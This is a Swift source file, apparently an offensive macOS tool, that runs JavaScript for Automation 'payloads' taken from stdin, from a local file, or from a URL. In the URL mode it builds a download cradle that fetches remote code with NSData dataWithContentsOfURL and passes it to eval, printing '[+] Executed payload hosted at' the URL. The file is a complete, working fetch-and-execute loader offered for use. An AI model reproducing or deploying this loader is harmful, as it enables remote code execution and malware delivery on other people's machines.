Run jxa from file http stdin

jxarun.swift

// adapted from cedowns jxa-runner

import Foundation
import Cocoa
import OSAKit

//Usage:
// for hosted .js JXA payloads: ./JXARunner -u [url_to_jxa_payload]
// for local .js JXA payloads: ./JXARunner -f [path_to_jxa_payload]
// echo 'jxacode' | ./runner -s
//
// swiftc jxarun.swift -o jxarun

let scriptName = CommandLine.arguments[0]
let fileMan = FileManager.default

func ex(data: String) {
    let k = OSAScript.init(source: data, language: OSALanguage.init(forName: "JavaScript"))
        var compileErr : NSDictionary?
        k.compileAndReturnError(&compileErr)
            var compileError : NSDictionary?
            k.compileAndReturnError(&compileError)
            if let compileError = compileError {
               print(compileError)
            }
            var scriptError : NSDictionary?
            let result = k.executeAndReturnError(&scriptError)
            if let scriptError = scriptError {
                print(scriptError)
            }
            else if let result = result?.stringValue {
                print(result)
            }
        print("[+] Done")
}

if CommandLine.arguments[1] == "-s" {
    let allLines = AnyIterator { readLine() }.map{ $0 }
    let torun = allLines.joined(separator:"\n")
    ex(data: torun)
}

if CommandLine.arguments[1] == "-u" {
    let url = CommandLine.arguments[2]
    
    let execCradle = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('\(url)')),$.NSUTF8StringEncoding)));"

    ex(data: execCradle)
    
    sleep(1)
    print("[+] Executed payload hosted at \(url)")
    
}

if CommandLine.arguments[1] == "-f"{
    var filePath = CommandLine.arguments[2]
    if fileMan.fileExists(atPath: filePath){
        filePath = CommandLine.arguments[2]

        let data = try String(contentsOfFile: "\(filePath)")
        
        ex(data: data)
        
        sleep(1)
        print("[+] Executed payload hosted at \(filePath)")
    }
    else {
        print("[-] File \(filePath) not found. Exiting...")
        exit(0)
    }
}